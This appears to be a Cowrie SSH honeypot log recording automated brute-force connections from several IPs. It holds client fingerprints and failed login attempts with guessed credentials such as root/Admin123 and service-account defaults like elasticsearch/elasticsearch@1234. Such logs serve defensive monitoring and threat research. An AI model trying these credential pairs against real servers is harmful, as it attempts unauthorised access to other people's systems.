{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:31.981264Z","src_ip":"152.32.171.213","session":"a5ee613b4079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58856,"dst_ip":"10.17.0.5","dst_port":22,"session":"506c4742ee0f","protocol":"ssh","message":"New connection: 192.109.200.78:58856 (10.17.0.5:22) [session: 506c4742ee0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:32.702425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:32.706892Z","src_ip":"192.109.200.78","session":"506c4742ee0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:32.788035Z","src_ip":"192.109.200.78","session":"506c4742ee0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:33.031895Z","src_ip":"192.109.200.78","session":"506c4742ee0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:34.116479Z","src_ip":"192.109.200.78","session":"506c4742ee0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58866,"dst_ip":"10.17.0.5","dst_port":22,"session":"dde0433618b2","protocol":"ssh","message":"New connection: 192.109.200.78:58866 (10.17.0.5:22) [session: dde0433618b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:36.074095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:36.077846Z","src_ip":"192.109.200.78","session":"dde0433618b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:36.160084Z","src_ip":"192.109.200.78","session":"dde0433618b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:36.623471Z","src_ip":"192.109.200.78","session":"dde0433618b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:37.707523Z","src_ip":"192.109.200.78","session":"dde0433618b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58874,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7035f418bd4","protocol":"ssh","message":"New connection: 192.109.200.78:58874 (10.17.0.5:22) [session: a7035f418bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:39.774830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:39.778884Z","src_ip":"192.109.200.78","session":"a7035f418bd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:39.859915Z","src_ip":"192.109.200.78","session":"a7035f418bd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:40.108449Z","src_ip":"192.109.200.78","session":"a7035f418bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:41.193375Z","src_ip":"192.109.200.78","session":"a7035f418bd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50410,"dst_ip":"10.17.0.5","dst_port":22,"session":"bffb09b00766","protocol":"ssh","message":"New connection: 192.109.200.78:50410 (10.17.0.5:22) [session: bffb09b00766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:43.212650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:43.216337Z","src_ip":"192.109.200.78","session":"bffb09b00766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:43.296516Z","src_ip":"192.109.200.78","session":"bffb09b00766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:43.542134Z","src_ip":"192.109.200.78","session":"bffb09b00766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:44.653775Z","src_ip":"192.109.200.78","session":"bffb09b00766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50424,"dst_ip":"10.17.0.5","dst_port":22,"session":"97b1c736cfd7","protocol":"ssh","message":"New connection: 192.109.200.78:50424 (10.17.0.5:22) [session: 97b1c736cfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:46.642459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:46.646817Z","src_ip":"192.109.200.78","session":"97b1c736cfd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:46.728088Z","src_ip":"192.109.200.78","session":"97b1c736cfd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:46.973673Z","src_ip":"192.109.200.78","session":"97b1c736cfd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46638,"dst_ip":"10.17.0.5","dst_port":22,"session":"b463c2549196","protocol":"ssh","message":"New connection: 103.149.28.157:46638 (10.17.0.5:22) [session: b463c2549196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:47.946208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:47.949845Z","src_ip":"103.149.28.157","session":"b463c2549196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:48.056375Z","src_ip":"192.109.200.78","session":"97b1c736cfd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:48.204513Z","src_ip":"103.149.28.157","session":"b463c2549196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"241284","message":"login attempt [root/241284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:48.963340Z","src_ip":"103.149.28.157","session":"b463c2549196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49092,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c693d0a879a","protocol":"ssh","message":"New connection: 103.82.20.28:49092 (159.203.135.109:22) [session: 5c693d0a879a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:49.054164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:49.058810Z","src_ip":"103.82.20.28","session":"5c693d0a879a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:49.326093Z","src_ip":"103.82.20.28","session":"5c693d0a879a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivan1989","message":"login attempt [root/ivan1989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:50.120248Z","src_ip":"103.82.20.28","session":"5c693d0a879a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:50.214978Z","src_ip":"103.149.28.157","session":"b463c2549196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50448,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2ded0971f66","protocol":"ssh","message":"New connection: 192.109.200.78:50448 (10.17.0.5:22) [session: b2ded0971f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:50.307470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:50.311812Z","src_ip":"192.109.200.78","session":"b2ded0971f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:50.392661Z","src_ip":"192.109.200.78","session":"b2ded0971f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"passwd","message":"login attempt [master/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:50.635917Z","src_ip":"192.109.200.78","session":"b2ded0971f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:51.386944Z","src_ip":"103.82.20.28","session":"5c693d0a879a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:51.720425Z","src_ip":"192.109.200.78","session":"b2ded0971f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33828,"dst_ip":"10.17.0.5","dst_port":22,"session":"00e3c7f8ae0f","protocol":"ssh","message":"New connection: 192.109.200.78:33828 (10.17.0.5:22) [session: 00e3c7f8ae0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:53.729649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:53.736741Z","src_ip":"192.109.200.78","session":"00e3c7f8ae0f","protocol":"ssh"}
